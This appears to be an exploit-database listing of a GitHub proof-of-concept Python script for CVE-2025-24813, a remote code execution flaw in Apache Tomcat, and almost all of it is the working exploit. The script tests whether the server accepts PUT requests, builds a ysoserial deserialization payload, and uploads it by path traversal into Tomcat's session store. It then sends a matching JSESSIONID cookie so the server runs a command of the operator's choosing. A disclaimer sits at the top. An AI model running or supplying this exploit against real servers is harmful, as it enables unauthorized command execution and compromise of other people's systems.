Exploit database

GH-a664a7f0449acadf8745e7145de0d0f0

yuzuki-ayanami/cve-2025-24813

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-24813

40 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
yuzuki-ayanami/cve-2025-24813Revision e6d4349703e1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2025-24813.py

Python · 5,586 bytes
#!/usr/bin/python3

# Title  : cve-2025-24813 - Apache Tomcat RCE via Session Deserialization PoC
# Author : Yuzuki Ayanami (@yuzuki_ayanami)
# Link   : https://github.com/yuzuki-ayanami/CVE-2025-24813

# DISCLAIMER:
# This proof-of-concept (POC) exploit is provided strictly for educational and research purposes.
# It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems.
# The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities.
# Any actions taken with this code are undertaken at the sole discretion and risk of the user.
# The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems.
# Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited.
# By using this code, you agree to assume all responsibility and liability for your actions.
# Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code.
# It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software.
# Proceed with caution and use this code responsibly.


import argparse
import os
import secrets
import subprocess
import sys
from urllib.parse import urlparse

try:
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    sys.exit("[err]: missing dep -> pip3 install requests")


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; B = "\033[34m"
    CY = "\033[36m"; BR = "\033[1m"; DIM = "\033[2m"; X = "\033[0m"


BANNER = f"""\
{C.R}{C.BR}  CVE-2025-24813{C.X}  {C.DIM}Apache Tomcat RCE - Session Deserialization PoC
  {C.CY}Yuzuki Ayanami{C.X}  {C.DIM}github.com/yuzuki-ayanami/CVE-2025-24813{C.X}
"""


def inf(m):  print(f"{C.B}[inf]:{C.X} {m}")
def err(m):  print(f"{C.R}[err]:{C.X} {m}")
def ins(m):  print(f"{C.Y}[ins]:{C.X} {m}")
def ok(m):   print(f"{C.G}[+]{C.X} {m}")


def gen_ysoserial_payload(cmd: str, ysopath: str, gadget: str) -> bytes:
    inf(f"generating payload: ysoserial {gadget}")
    res = subprocess.run(
        ["java", "-jar", ysopath, gadget, cmd],
        capture_output=True, timeout=30,
    )
    if res.returncode != 0 or len(res.stdout) == 0:
        err_msg = res.stderr.decode().strip()[:200] if res.stderr else "empty output"
        err(f"ysoserial failed: {err_msg}")
        sys.exit(1)
    ok(f"payload generated ({len(res.stdout)} bytes)")
    return res.stdout


def run(base, cmd, ysopath, gadget, insecure):
    verify = not insecure
    inf(f"target: {base}")

    # 1. check writable
    try:
        r = requests.put(f"{base}/__cve_test__", data="ok", timeout=10, verify=verify)
        if r.status_code not in (200, 201, 204):
            err("server does not accept PUT requests (readonly=true?)")
            sys.exit(1)
    except requests.RequestException as e:
        err(f"connection failed: {e}")
        sys.exit(1)
    ok("PUT accepted - server is writable")

    # 2. generate a session id that does not exist in memory
    #    PersistentManager will fall back to FileStore which loads our malicious file
    sid = secrets.token_hex(16).upper()
    ok(f"session id: {sid}")

    # 3. generate payload
    c = cmd or ("id" if sys.platform != "win32" else "whoami")
    if not ysopath:
        err("ysoserial.jar is required. pass --ysoserial <path>")
        err("download: java -jar ysoserial.jar <gadget> '<command>'")
        sys.exit(1)
    payload = gen_ysoserial_payload(c, ysopath, gadget)

    # 4. upload via path traversal -> session store
    url = f"{base}/uploads/../sessions/{sid}.session"
    inf(f"uploading payload -> {url}")
    try:
        r = requests.put(url, data=payload, timeout=15, verify=verify)
    except requests.RequestException as e:
        err(f"upload failed: {e}")
        sys.exit(1)
    if r.status_code not in (200, 201, 204):
        err(f"upload returned HTTP {r.status_code}")
        sys.exit(1)
    ok(f"uploaded (HTTP {r.status_code})")

    # 5. trigger deserialization (target likely loads session from FileStore)
    inf("triggering deserialization ...")
    try:
        r = requests.get(base, cookies={"JSESSIONID": sid},
                         timeout=15, verify=verify)
    except requests.RequestException as e:
        err(f"trigger failed: {e}")
        sys.exit(1)

    ok(f"trigger sent (HTTP {r.status_code})")
    ins("execution is blind - check for side effects on the target")
    ins(f"done: {base}")


def main():
    os.system("")
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2025-24813 - Apache Tomcat RCE (session deserialization)",
        formatter_class=argparse.RawTextHelpFormatter,
    )
    parser.add_argument("target", help="target url (e.g. http://host:8080)")
    parser.add_argument("-c", "--command", default=None,
                        help="command to execute")
    parser.add_argument("--ysoserial", required=True,
                        help="path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections7",
                        help="gadget chain (default: CommonsCollections7)")
    parser.add_argument("-k", "--insecure", action="store_true",
                        help="skip tls verification")
    args = parser.parse_args()

    run(args.target, args.command, args.ysoserial, args.gadget, args.insecure)


if __name__ == "__main__":
    main()